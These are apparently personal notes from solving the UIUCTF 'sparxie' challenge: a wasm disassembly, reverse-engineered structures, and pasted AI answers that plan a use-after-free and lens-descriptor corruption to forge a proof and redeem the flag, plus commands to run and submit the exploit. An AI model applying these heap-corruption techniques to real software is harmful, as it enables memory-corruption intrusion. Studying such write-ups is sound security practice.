找对关键函数的引用.
0434a2 func[442]:
0434a3: 04 7f | local[1..4] type=i32
0434a5: 01 7e | local[5] type=i64
0434a7: 23 00 | global.get 0
0434a9: 41 a0 01 | i32.const 160
0434ac: 6b | i32.sub
0434ad: 22 01 | local.tee 1
0434af: 24 00 | global.set 0
0434b1: 20 00 | local.get 0
0434b3: 41 01 | i32.const 1
0434b5: 41 e0 ef 00 | i32.const 14304
0434b9: 10 85 01 | call 133
0434bc: 21 03 | local.set 3
0434be: 02 40 | block
0434c0: 02 40 | block
0434c2: 02 40 | block
0434c4: 41 d4 b2 08 | i32.const 137556
0434c8: 2d 00 00 | i32.load8_u 0 0
0434cb: 0d 00 | br_if 0
0434cd: 20 03 | local.get 3
0434cf: 28 02 08 | i32.load 2 8
0434d2: 45 | i32.eqz
0434d3: 0d 00 | br_if 0
0434d5: 20 03 | local.get 3
0434d7: 28 02 00 | i32.load 2 0
0434da: 22 02 | local.tee 2
0434dc: 45 | i32.eqz
0434dd: 0d 00 | br_if 0
0434df: 20 03 | local.get 3
0434e1: 29 03 10 | i64.load 3 16
0434e4: 41 c0 ec 01 | i32.const 30272
0434e8: 29 03 00 | i64.load 3 0
0434eb: 20 03 | local.get 3
0434ed: ad | i64.extend_i32_u
0434ee: 20 02 | local.get 2
0434f0: 35 02 80 02 | i64.load32_u 2 256
0434f4: 20 02 | local.get 2
0434f6: 41 a0 ee 07 | i32.const 128800
0434fa: 6b | i32.sub
0434fb: 41 90 02 | i32.const 272
0434fe: 6d | i32.div_s
0434ff: ad | i64.extend_i32_u
043500: 42 20 | i64.const 32
043502: 86 | i64.shl
043503: 84 | i64.or
043504: 85 | i64.xor
043505: 85 | i64.xor
043506: 20 03 | local.get 3
043508: 28 02 04 | i32.load 2 4
04350b: 22 04 | local.tee 4
04350d: ad | i64.extend_i32_u
04350e: 42 01 | i64.const 1
043510: 86 | i64.shl
043511: 85 | i64.xor
043512: 22 05 | local.tee 5
043514: 42 1e | i64.const 30
043516: 88 | i64.shr_u
043517: 20 05 | local.get 5
043519: 85 | i64.xor
04351a: 42 b9 cb 93 e7 d1 ed 91 ac | i64.const 13787848793156543929
043523: bf 7f |
043525: 7e | i64.mul
043526: 22 05 | local.tee 5
043528: 42 1b | i64.const 27
04352a: 88 | i64.shr_u
04352b: 20 05 | local.get 5
04352d: 85 | i64.xor
04352e: 42 eb a3 c4 99 b1 b7 92 e8 | i64.const 10723151780598845931
043537: 94 7f |
043539: 7e | i64.mul
04353a: 22 05 | local.tee 5
04353c: 42 1f | i64.const 31
04353e: 88 | i64.shr_u
04353f: 20 05 | local.get 5
043541: 85 | i64.xor
043542: 52 | i64.ne
043543: 0d 00 | br_if 0
043545: 41 c8 ec 01 | i32.const 30280
043549: 28 02 00 | i32.load 2 0
04354c: 22 03 | local.tee 3
04354e: 45 | i32.eqz
04354f: 0d 00 | br_if 0
043551: 20 03 | local.get 3
043553: 2f 01 8a 02 | i32.load16_u 1 266
043557: 45 | i32.eqz
043558: 0d 00 | br_if 0
04355a: 20 03 | local.get 3
04355c: 28 02 84 02 | i32.load 2 260
043560: 41 a3 8f c7 f2 79 | i32.const 2656159651
043566: 47 | i32.ne
043567: 0d 00 | br_if 0
043569: 41 d4 b2 08 | i32.const 137556
04356d: 41 01 | i32.const 1
04356f: 3a 00 00 | i32.store8 0 0
043572: 20 02 | local.get 2
043574: 28 02 84 02 | i32.load 2 260
043578: 41 f2 cd e2 8e 03 | i32.const 836282098
04357e: 47 | i32.ne
04357f: 0d 01 | br_if 1
043581: 20 02 | local.get 2
043583: 29 03 60 | i64.load 3 96
043586: 42 ef 96 d0 96 e7 93 f2 98 | i64.const 6499196320129223535
04358f: da 00 |
043591: 52 | i64.ne
043592: 0d 01 | br_if 1
043594: 20 02 | local.get 2
043596: 28 02 68 | i32.load 2 104
043599: 41 c1 cb b8 ba 7b | i32.const 3075352001
04359f: 47 | i32.ne
0435a0: 0d 01 | br_if 1
0435a2: 20 02 | local.get 2
0435a4: 28 02 6c | i32.load 2 108
0435a7: 20 04 | local.get 4
0435a9: 47 | i32.ne
0435aa: 0d 01 | br_if 1
0435ac: 20 01 | local.get 1
0435ae: 41 40 | i32.const 4294967232
0435b0: 6b | i32.sub
0435b1: 41 00 | i32.const 0
0435b3: 41 d4 00 | i32.const 84
0435b6: 10 14 | call 20
0435b8: 1a | drop
0435b9: 20 01 | local.get 1
0435bb: 41 98 b8 01 | i32.const 23576
0435bf: 29 03 00 | i64.load 3 0
0435c2: 37 03 38 | i64.store 3 56
0435c5: 20 01 | local.get 1
0435c7: 41 90 b8 01 | i32.const 23568
0435cb: 29 03 00 | i64.load 3 0
0435ce: 37 03 30 | i64.store 3 48
0435d1: 20 01 | local.get 1
0435d3: 41 88 b8 01 | i32.const 23560
0435d7: 29 03 00 | i64.load 3 0
0435da: 37 03 28 | i64.store 3 40
0435dd: 20 01 | local.get 1
0435df: 41 80 b8 01 | i32.const 23552
0435e3: 29 03 00 | i64.load 3 0
0435e6: 37 03 20 | i64.store 3 32
0435e9: 20 01 | local.get 1
0435eb: 41 20 | i32.const 32
0435ed: 36 02 94 01 | i32.store 2 148
0435f1: 20 01 | local.get 1
0435f3: 41 c7 cc a3 d8 06 | i32.const 1795745351
0435f9: 36 02 20 | i32.store 2 32
0435fc: 20 01 | local.get 1
0435fe: 41 20 | i32.const 32
043600: 6a | i32.add
043601: 41 90 bc 01 | i32.const 24080
043605: 41 16 | i32.const 22
043607: 10 ab 03 | call 427
04360a: 0d 02 | br_if 2
04360c: 20 01 | local.get 1
04360e: 41 20 | i32.const 32
043610: 6a | i32.add
043611: 20 03 | local.get 3
043613: 41 20 | i32.const 32
043615: 10 ab 03 | call 427
043618: 0d 02 | br_if 2
04361a: 20 01 | local.get 1
04361c: 41 20 | i32.const 32
04361e: 6a | i32.add
04361f: 20 02 | local.get 2
043621: 41 20 | i32.const 32
043623: 10 ab 03 | call 427
043626: 0d 02 | br_if 2
043628: 20 01 | local.get 1
04362a: 41 20 | i32.const 32
04362c: 6a | i32.add
04362d: 20 02 | local.get 2
04362f: 41 20 | i32.const 32
043631: 6a | i32.add
043632: 41 20 | i32.const 32
043634: 10 ab 03 | call 427
043637: 0d 02 | br_if 2
043639: 20 01 | local.get 1
04363b: 41 20 | i32.const 32
04363d: 6a | i32.add
04363e: 41 a0 b8 01 | i32.const 23584
043642: 41 20 | i32.const 32
043644: 10 ab 03 | call 427
043647: 0d 02 | br_if 2
043649: 20 01 | local.get 1
04364b: 20 02 | local.get 2
04364d: 29 03 60 | i64.load 3 96
043650: 37 03 98 01 | i64.store 3 152
043654: 20 01 | local.get 1
043656: 41 20 | i32.const 32
043658: 6a | i32.add
043659: 20 01 | local.get 1
04365b: 41 98 01 | i32.const 152
04365e: 6a | i32.add
04365f: 41 08 | i32.const 8
043661: 10 ab 03 | call 427
043664: 0d 02 | br_if 2
043666: 20 01 | local.get 1
043668: 20 02 | local.get 2
04366a: 28 02 68 | i32.load 2 104
04366d: 36 02 98 01 | i32.store 2 152
043671: 20 01 | local.get 1
043673: 41 20 | i32.const 32
043675: 6a | i32.add
043676: 20 01 | local.get 1
043678: 41 98 01 | i32.const 152
04367b: 6a | i32.add
04367c: 41 04 | i32.const 4
04367e: 10 ab 03 | call 427
043681: 0d 02 | br_if 2
043683: 20 01 | local.get 1
043685: 20 02 | local.get 2
043687: 28 02 6c | i32.load 2 108
04368a: 36 02 98 01 | i32.store 2 152
04368e: 20 01 | local.get 1
043690: 41 20 | i32.const 32
043692: 6a | i32.add
043693: 20 01 | local.get 1
043695: 41 98 01 | i32.const 152
043698: 6a | i32.add
043699: 41 04 | i32.const 4
04369b: 10 ab 03 | call 427
04369e: 0d 02 | br_if 2
0436a0: 20 01 | local.get 1
0436a2: 41 20 | i32.const 32
0436a4: 6a | i32.add
0436a5: 20 01 | local.get 1
0436a7: 10 ac 03 | call 428
0436aa: 0d 02 | br_if 2
0436ac: 20 01 | local.get 1
0436ae: 20 02 | local.get 2
0436b0: 41 40 | i32.const 4294967232
0436b2: 6b | i32.sub
0436b3: 41 20 | i32.const 32
0436b5: 10 8a 02 | call 266
0436b8: 0d 02 | br_if 2
0436ba: 20 02 | local.get 2
0436bc: 41 e3 f4 c5 84 7d | i32.const 3499194979
0436c2: 36 02 68 | i32.store 2 104
0436c5: 20 03 | local.get 3
0436c7: 41 20 | i32.const 32
0436c9: 6a | i32.add
0436ca: 41 20 | i32.const 32
0436cc: 10 04 | call 4 <env.sparxie_redeem>
0436ce: 20 00 | local.get 0
0436d0: 41 ef 8d 01 | i32.const 18159
0436d4: 10 4d | call 77
0436d6: 20 01 | local.get 1
0436d8: 41 a0 01 | i32.const 160
0436db: 6a | i32.add
0436dc: 24 00 | global.set 0
0436de: 41 01 | i32.const 1
0436e0: 0f | return
0436e1: 0b | end
0436e2: 20 00 | local.get 0
0436e4: 41 eb 90 01 | i32.const 18539
0436e8: 41 00 | i32.const 0
0436ea: 10 7b | call 123
0436ec: 00 | unreachable
0436ed: 0b | end
0436ee: 20 00 | local.get 0
0436f0: 41 eb 90 01 | i32.const 18539
0436f4: 41 00 | i32.const 0
0436f6: 10 7b | call 123
0436f8: 00 | unreachable
0436f9: 0b | end
0436fa: 20 00 | local.get 0
0436fc: 41 eb 90 01 | i32.const 18539
043700: 41 00 | i32.const 0
043702: 10 7b | call 123
043704: 00 | unreachable
043705: 0b | end
1
(data (;129;) (i32.const 13769) "hello\00")
means: memory[13769..13774] = “hello\0”
Then find the reference of that data: grep idx: 13769 = 0x35c9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
• publish is referenced as a Lua method table entry, not by a direct code call.
Exact chain in sparxicle.wat:
1. The string itself is in the huge string blob:
sparxicle.wat:145407
That blob starts at linear memory 13769. The string "publish" starts at address:
0x400c == 16396
2. The actual reference is this small data segment:
sparxicle.wat:145435
(data (;157;) (i32.const 23920) "\0c@\00\00\8b")
Decode it as little-endian luaL_Reg-style data:
// at memory 23920 / 0x5d70
{
.name = (char *)0x400c, // "publish"
.func = 0x8b // indirect function table index 139
}
The missing \00\00\00 after \8b are implicit because wasm memory starts zeroed.
3. That method table is registered for sparxie.draft here:
sparxicle.wat:125639
i32.const 14304 ;; "sparxie.draft"
i32.const 23920 ;; methods table: publish -> 0x8b
i32.const 23936 ;; __gc table
i32.const 14318 ;; "Sparxie Draft"
call 431
So func 425 is the hidden luaopen_sparxie registration function, and func 431 is the helper that builds/registers the metatable.
4. Function-table index 0x8b maps to wasm func (;442;) via the elem table:
sparxicle.wat:145277
The actual publish implementation starts here:
sparxicle.wat:133583
And it reaches the flag path by calling imported env.sparxie_redeem here:
sparxicle.wat:133819
call 4 ;; env.sparxie_redeem
So the short answer: publish is referenced by data segment 157 at memory 23920; that table is passed into call 431 when registering the sparxie.draft metatable;
its function pointer 0x8b resolves to func 442.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int draft_publish(lua_State *L) {
Draft *d = checkudata(L, 1, "sparxie.draft");
check(global_publish_used == 0);
check(d->active != 0);
check(d->clip != NULL);
check(d->cookie == mix64(secret, d, d->clip, d->serial));
Clip *backstage = global_backstage_clip;
check(backstage != NULL);
check(backstage->in_use != 0);
check(backstage->state == 0x9e51c7a3);
global_publish_used = 1; // after this, failed checks still burn the attempt
Clip *clip = d->clip;
check(clip->state == 0x31d8a6f2);
check(clip->campaign == 0x5a31c89e72d40b6f);
check(clip->tag == 0xb74e25c1);
check(clip->serial == d->serial);
proof = blake2s_32(
"SPARXIE::ENCORE::PROOF",
backstage[0x00:0x20],
clip[0x00:0x20],
clip[0x20:0x40],
allowed_seal,
clip->campaign,
clip->tag,
clip->serial
);
check(proof == clip[0x40:0x60]);
clip->tag = 0xd0917a63;
sparxie_redeem(backstage + 0x20, 32);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
Draft Userdata
Created by:
d = sparxie.draft()
Native layout:
Draft userdata
+0x00 clip pointer already valid
+0x04 serial already valid, copied from clip+0x6c
+0x08 active flag already valid, set to 1
+0x0c padding/unused
+0x10 cookie u64 already valid, computed with secret
publish() checks these first:
d is sparxie.draft already valid if made by sparxie.draft()
global_publish_used==0 valid before first publish attempt
d->active != 0 already valid
d->clip != NULL already valid
d->cookie valid already valid
Do not try to modify these. Lua cannot directly access them anyway, and changing them would break the cookie check.
Draft Internal Clip
This is d->clip, not the public sparxie.clip.
Fresh sparxie.draft() initializes it roughly like this:
Draft internal clip
+0x00..0x1f random proof input A already okay, but need to know for proof
+0x20..0x3f random proof input B already okay, but need to know for proof
+0x40..0x5f proof digest NOT okay, starts zero/invalid
+0x60 campaign u64 NOT okay, starts 0
+0x68 tag u32 NOT okay, starts 0x6a31d90f
+0x6c serial u32 already valid, matches Draft+0x04
+0x70..0xff private/random data irrelevant to publish
+0x100 cookie material already valid
+0x104 state already valid, 0x31d8a6f2
+0x108 freelist/next irrelevant while allocated
+0x10a in-use flag already valid while allocated
publish() needs:
clip+0x104 == 0x31d8a6f2 already matched
clip+0x60 == 0x5a31c89e72d40b6f need change
clip+0x68 == 0xb74e25c1 need change
clip+0x6c == d->serial already matched
clip+0x40..0x5f == computed proof need change
Backstage Clip
Global pointer at memory 30280.
backstage clip
+0x00..0x1f random proof input need leak/read
+0x20..0x3f redeem witness used by sparxie_redeem()
+0x104 state = 0x9e51c7a3 already matched
+0x10a in-use flag already matched
You do not need to change backstage for the publish checks. But to compute the digest yourself, you need backstage+0x00..0x1f.
What You Need To Achieve
Keep the fresh draft intact, then somehow patch only this:
d->clip + 0x40..0x5f = blake2s proof
d->clip + 0x60 = 0x5a31c89e72d40b6f
d->clip + 0x68 = 0xb74e25c1
To compute that proof, you also need to know:
backstage+0x00..0x1f
d->clip+0x00..0x3f
d->clip+0x6c
d->clip+0x6c equals Draft+0x04, but Lua cannot directly read either. So practically you need some read primitive into the internal clip pool.
How Can We Change Them?
Not directly through d.
This will not work:
d.campaign = ...
d.clip = ...
d.cookie = ...
d is protected userdata and exposes only publish.
Likely route:
permit = sparxie.review(relay_pass)
studio = sparxie.studio()
c = studio:clip(...)
c:write(...)
tl = sparxie.timeline({c})
studio:render(tl, permit)
d = sparxie.draft()
q = sparxie.queue(d)
lens = q:lens()
-- investigate:
lens:read(...)
lens:write(...)
The queue/lens path is the likely place where your Lua input can reach hidden moderation data. If lens:read/write can be aimed at the draft’s internal clip data,
then the exploit shape is:
1. leak backstage[0:0x20]
2. leak draft_clip[0:0x40] and serial
3. calculate proof
4. write campaign/tag/proof into draft_clip
5. call d:publish()
So: most checks are already satisfied by a normal sparxie.draft(). The only real targets are campaign, tag, and proof in the hidden draft clip.
can we directly modify the inner clip?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
Short answer: not directly. Draft is protected userdata, and its hidden d->clip is not exposed as a normal sparxie.clip. The only public method on Draft is
publish().
The inner draft clip fields you care about are here:
// hidden internal Clip
clip + 0x60 : campaign u64
clip + 0x68 : tag u32
clip + 0x6c : serial u32
clip + 0x40 : expected proof[32]
For publish() you need:
clip->campaign == 0x5a31c89e72d40b6f
clip->tag == 0xb74e25c1
clip->serial == d->serial
clip[0x40:0x60] == computed proof
A new draft starts with:
campaign = 0
tag = 0x6a31d90f
serial = random odd u32
So campaign, tag, and proof must be changed somehow.
The normal APIs do not give you that write:
- draft:publish() only checks.
- sparxie.clip:read/write() works on studio buffer clips, not the hidden draft clip.
- queue(draft) validates the draft cookie but does not appear to mutate d->clip.
- lens:read/write() normally operates on the 16KB queue heap buffer created inside queue(draft), not on the draft clip.
So:
local d = sparxie.draft()
-- there is no d.clip
-- there is no d.campaign
-- d[anything] is not useful
And this will not reach the hidden clip:
local q = sparxie.queue(d)
local l = q:lens()
l:write(0x60, "...") -- writes queue buffer + 0x60, not d->clip + 0x60
To modify the inner clip, you need a memory-corruption / object-confusion path first. The rough target is:
make some exposed read/write primitive point at d->clip
If you can make lens->base == d->clip, then yes, lens becomes useful:
lens:write(0x60, "\x6f\x0b\xd4\x72\x9e\xc8\x31\x5a") -- campaign LE
lens:write(0x68, "\xc1\x25\x4e\xb7") -- tag LE
lens:write(0x40, proof32) -- proof
But without redirecting the lens base pointer, lens:write() cannot write the draft clip.
The likely places to investigate are therefore:
1. Can you corrupt the lens descriptor before lens:read/write() resolves it?
2. Can you make the queue buffer overlap with internal clip storage?
3. Can GC/free-list behavior cause reuse so a controllable object occupies memory that later gets interpreted as a lens descriptor?
4. Can studio, timeline, or render update backing pointers in a way that affects queue/lens objects?
The key point: modifying campaign/tag is not an intended direct Lua operation. You need to turn one of the exposed buffer APIs, most likely lens:read/write, into
a targeted write against the hidden internal Clip.
Real bypass (引导:是否有方法能够修改已有的clip对象指针,使其指向一个inner地址?(假设要操作的地址是可以预测的))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
• 1. Lua VM flaw?
I do not see a Lua VM escape path here. The useful bug is more likely in the native sparxie bindings, not Lua itself.
The sandbox opens only limited Lua 5.4 libs in source/src/main.c:18, removes load, loadfile, dofile, print, tostring, and loads your cartridge as text only with:
luaL_loadbufferx(state, chunk, chunk_len, "@vanishing-encore", "t");
So you cannot load Lua bytecode, call wasm functions by address, create lightuserdata pointers, or access wasm memory directly.
2. Can function offsets / wasm offsets bypass protection?
No, not directly.
Knowing that publish is wasm table index 0x8b, or knowing struct offsets, does not let Lua call arbitrary wasm functions. From Lua, you only get normal Lua values
and registered C closures. For example:
local d = sparxie.draft()
d.publish(d)
works because publish is registered as a method. But this still reaches:
Draft *d = luaL_checkudata(L, 1, "sparxie.draft");
So calling a method with the wrong object fails. You cannot do:
clip_write(fake_pointer, ...)
because Lua cannot manufacture the required userdata or pointer.
3. Can we make a normal clip point to target memory?
Normally, no. studio:clip(offset, len) computes its pointer from a studio buffer:
clip->base = studio_buffer + offset;
clip->len = len;
You control only offset and len, bounded to the 4096-byte studio buffer. You do not directly control the absolute pointer.
But there is a much more interesting bug.
Likely Useful Flaw
studio:clip() creates a public clip pointing into a studio pool slot. It increments a refcount-like field around sparxicle.wat:134729.
clip.__gc later decrements that refcount at sparxicle.wat:133847.
But studio.__gc frees the studio slot without checking that clips still reference it, around sparxicle.wat:134365.
So you can likely do:
local s = sparxie.studio()
local stale = s:clip(0, 4096)
s = nil
collectgarbage("collect")
collectgarbage("collect")
-- stale still exists, but its backing studio slot was freed
Now stale is a use-after-free view over a freed 4096-byte studio/queue pool slot.
queue(draft) allocates from the same 4104-byte pool at sparxicle.wat:132369. If it reuses the freed slot, then:
local q = sparxie.queue(d)
makes stale:read() / stale:write() operate on the queue metadata.
That is very likely the path to modify the lens descriptor.
How This Reaches Draft Data
A lens descriptor looks approximately like:
struct LensDesc {
uint32_t key;
uint32_t id;
uint32_t base;
uint32_t len; // must be 0x4000
};
lens:read/write validates:
desc->key == lens->key
desc->id == lens->id
desc->len == 0x4000
desc->base is 8-byte aligned
0x10000 <= desc->base <= 0x07ffc000
Then it caches:
lens->base = desc->base;
So with the stale clip, patch all 63 descriptors before calling q:lens():
for i = 0, 62 do
local desc = i * 64 + 8
stale:write(desc + 8, p32(0x1f720)) -- internal clip pool base
stale:write(desc + 12, p32(0x4000))
end
local lens = q:lens()
0x1f720 is 128800, the internal hidden clip pool base. It is aligned and passes the lens pointer range check.
Then lens gives you read/write over the internal clip pool, including backstage and draft clips.
Useful Offsets
Internal clip pool:
pool base = 0x1f720
slot size = 0x110
backstage = pool + 0x000
first draft = pool + 0x110 -- if only one draft was allocated
For first draft slot:
draft clip campaign = 0x110 + 0x60 = 0x170
draft clip tag = 0x110 + 0x68 = 0x178
draft clip serial = 0x110 + 0x6c = 0x17c
draft clip proof = 0x110 + 0x40 = 0x150
So after retargeting the lens:
lens:write(0x170, "\x6f\x0b\xd4\x72\x9e\xc8\x31\x5a") -- campaign
lens:write(0x178, "\xc1\x25\x4e\xb7") -- tag
lens:write(0x150, proof32) -- computed proof
And you can read the random inputs needed for the proof:
local backstage_a = lens:read(0x000, 0x20)
local draft_a = lens:read(0x110, 0x20)
local draft_b = lens:read(0x130, 0x20)
local serial = lens:read(0x17c, 4)
So the answer is:
- Lua VM escape: probably no.
- Direct wasm offset/function call trick: no.
- Predict addresses: yes, wasm linear memory addresses are predictable.
- Directly make a normal clip point there: no.
- Use stale clip UAF to corrupt queue/lens metadata, then point lens at internal clip pool: yes, this looks like the promising path.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
• 1. To launch the Docker service:
cd /home/woc/ctf/uiuctf/sparxie
# If needed, enter docker group shell first:
newgrp docker
docker build -t sparxie .
docker run --rm -p 1337:1337 --name sparxie sparxie
This starts the real challenge service on 127.0.0.1:1337. The entrypoint runs:
socat TCP-LISTEN:1337 ... kctf_pow nsjail ... node /home/user/sparxicle.js
2. To pack your Lua and send it as input:
python3 tools/pack.py exploit.lua /tmp/exploit.spx
For quick local testing without Docker:
node sparxicle.js < /tmp/exploit.spx
For the Docker network service:
nc 127.0.0.1 1337 < /tmp/exploit.spx
If the service asks for kCTF proof-of-work, plain redirection may not be enough. For easier local Docker testing without the network wrapper/PoW, build the first
stage and run Node directly:
docker build --target chroot -t sparxie-local .
docker run --rm -i sparxie-local node /home/user/sparxicle.js < /tmp/exploit.spx
That uses the same sparxicle.js/.wasm and local /flag.txt, but skips socat, kctf_pow, and nsjail.
AI给出的方法失效,原因是还有一个uservalue引用.
能否效仿heap中使用double free的方法,比如clip A -> studio, clip B -> studio, 然后对clip B 使用两次free? 这样studio会被回收,但是clip A仍然存活.
关键是找到clip_gc中的检查并绕过.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
For the 0x1008 studio/queue pool slot, the tail layout is approximately:
struct StudioPoolSlot {
uint8_t data[0x1000]; // +0x0000
uint16_t generation; // +0x1000
uint16_t kind; // +0x1002
uint16_t next_free; // +0x1004
uint16_t in_use; // +0x1006
};
Related code:
- Allocation in sparxie.studio() starts at sparxicle.wat:131503
- Allocation in sparxie.queue() starts around sparxicle.wat:132295
- Free in studio.__gc starts at sparxicle.wat:134359
Allocator pseudo code:
uint16_t studio_free_head; // global 128784
Slot *alloc_slot(uint16_t kind) {
uint16_t idx = studio_free_head;
if (idx == 0xffff)
error("pool full");
Slot *slot = &pool[idx];
studio_free_head = slot->next_free;
slot->kind = kind;
slot->next_free = 0xffff;
slot->in_use = 1;
slot->generation++;
random_fill(slot->data, 0x1000);
return slot;
}
Free path:
void studio_gc(StudioUD *s) {
Slot *slot = s->slot;
if (slot != NULL && slot->in_use != 0) {
slot->kind = 0;
slot->in_use = 0;
slot->next_free = studio_free_head;
studio_free_head = slot_index(slot);
}
s->slot = NULL;
s->refs = 0;
}
能否尝试让free_list形成一个环?
add to “docker” group to prevent using sudo.
如果有wasm,可以转为wat后进行插桩,重新编译成wasm.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
› but why the direct ncat didn't show the flag? is it just the problem of ncat?
• It is mostly an interaction/timing issue with ncat + TLS + the remote wrapper, not the exploit.
What happened:
ncat --ssl host 1337 < /tmp/exploit.spx
sends the file immediately as soon as the TLS connection is established. But the remote command chain is:
TLS/socket wrapper
-> kctf_pow
-> nsjail
-> node sparxicle.js
Even with PoW disabled, there is still wrapper startup before node is ready to read the cartridge. With plain stdin redirection, the payload can be sent and EOF
delivered before the final process is actually reading it, or in a way the wrapper does not forward after setup.
That is why the output looked exactly like empty input:
[catalogue] one Spotlight Pass remains
[studio] upload one SPX2 creator cartridge:
The program reached the prompt, then saw no usable cartridge bytes.
The Python client works because it does this sequence:
1. connect TLS
2. read until "creator cartridge:"
3. wait briefly
4. send SPX2 bytes
5. keep TLS open and read response
So it synchronizes with the actual challenge prompt.
You can think of it as: direct ncat < file is “fire all bytes immediately,” while the service expects “wait until the app is ready, then send bytes.”
It is not that ncat cannot send binary. It can. The problem is using it with simple shell redirection against an interactive wrapped TLS service.
A shell workaround may work:
{ sleep 1; cat /tmp/exploit.spx; sleep 2; } | ncat --ssl sparxie-vanishing-encore.chal.uiuc.tf 1337